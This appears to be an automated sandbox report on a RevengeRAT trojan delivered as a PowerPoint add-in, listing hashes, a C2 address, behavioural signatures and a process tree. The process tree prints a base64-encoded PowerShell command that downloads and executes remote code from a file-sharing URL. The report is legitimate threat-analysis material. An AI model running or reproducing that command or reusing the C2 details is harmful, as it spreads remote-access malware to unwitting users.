revengerat | 386654272e99d7f01809047f83e118043b42ab72faa3171bdb8fbb94998627c4

General

Target

Documentaoeembarque.ppam
Size

27KB
MD5

d90141316834a63ece99172d1d68da4b
SHA1

e248a750c497da19e29611c9ae1ecca67171276a
SHA256

386654272e99d7f01809047f83e118043b42ab72faa3171bdb8fbb94998627c4
SHA512

3b2984e89b4633a574784015e6ce615f4c081b39549bc4fc5fcfcb4ce577dfca0babc3a22778590805947db6bbaac55ce95ed2e872674d26165ef3f857a6c72d
SSDEEP

768:VPXOXyAlkygx6BI2/fvgTd1M+L+/f76g40AFBF:V/OXyivI2O1M+WjL4HF

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

b2b.ddns.com.br:5222

Mutex

d9261ef3301b4b86a95

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	1508	2888	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 1508 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1508 set thread context of 1672 1508 powershell.exe RegSvcs.exe

flow	pid	process
33	1508	powershell.exe

description	pid	process	target process
PID 1508 set thread context of 1672	1508	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

2888 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1508 powershell.exe
1508 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1508 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

2888 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

2888 POWERPNT.EXE
2888 POWERPNT.EXE
2888 POWERPNT.EXE

pid	process
2888	POWERPNT.EXE

pid	process
1508	powershell.exe
1508	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1508	powershell.exe

pid	process
2888	POWERPNT.EXE

pid	process
2888	POWERPNT.EXE
2888	POWERPNT.EXE
2888	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 2888 wrote to memory of 1508	2888	POWERPNT.EXE	powershell.exe
PID 2888 wrote to memory of 1508	2888	POWERPNT.EXE	powershell.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe
PID 1508 wrote to memory of 1672	1508	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentaoeembarque.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADEAYwA2AGEANAAwAGEANAA3ADUAOQA5ADMANwA3ADcAMwA0AGIAOQBhADMAZAA3AGMAOQA5AGMAYQA2AGIAYQBkADYAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBEAGcAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBIAGkAaQBlAGMAeQBQAHQAZABvAGYAQQBuAHIADQAKAA==""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:1672

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erdynucc.xlo.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1508-204-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-202-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-179-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1508-185-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1508-210-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-208-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-206-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-200-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-164-0x000001C8F1630000-0x000001C8F1652000-memory.dmp

Filesize
136KB

Download
memory/1508-165-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1508-166-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1508-199-0x000001C8F1680000-0x000001C8F1698000-memory.dmp

Filesize
96KB

Download
memory/1508-176-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1508-178-0x000001C8F1730000-0x000001C8F1740000-memory.dmp

Filesize
64KB

Download
memory/1672-216-0x0000000005BE0000-0x0000000005BF0000-memory.dmp

Filesize
64KB

Download
memory/1672-215-0x0000000005BE0000-0x0000000005BF0000-memory.dmp

Filesize
64KB

Download
memory/1672-214-0x0000000006130000-0x00000000066D4000-memory.dmp

Filesize
5.6MB

Download
memory/1672-211-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/2888-197-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-198-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-134-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-137-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-136-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-135-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-146-0x0000021437A80000-0x0000021437C80000-memory.dmp

Filesize
2.0MB

Download
memory/2888-139-0x00007FFDE2D20000-0x00007FFDE2D30000-memory.dmp

Filesize
64KB

Download
memory/2888-138-0x00007FFDE2D20000-0x00007FFDE2D30000-memory.dmp

Filesize
64KB

Download
memory/2888-196-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-133-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-195-0x00007FFDE4E90000-0x00007FFDE4EA0000-memory.dmp

Filesize
64KB

Download
memory/2888-161-0x0000021437A80000-0x0000021437C80000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads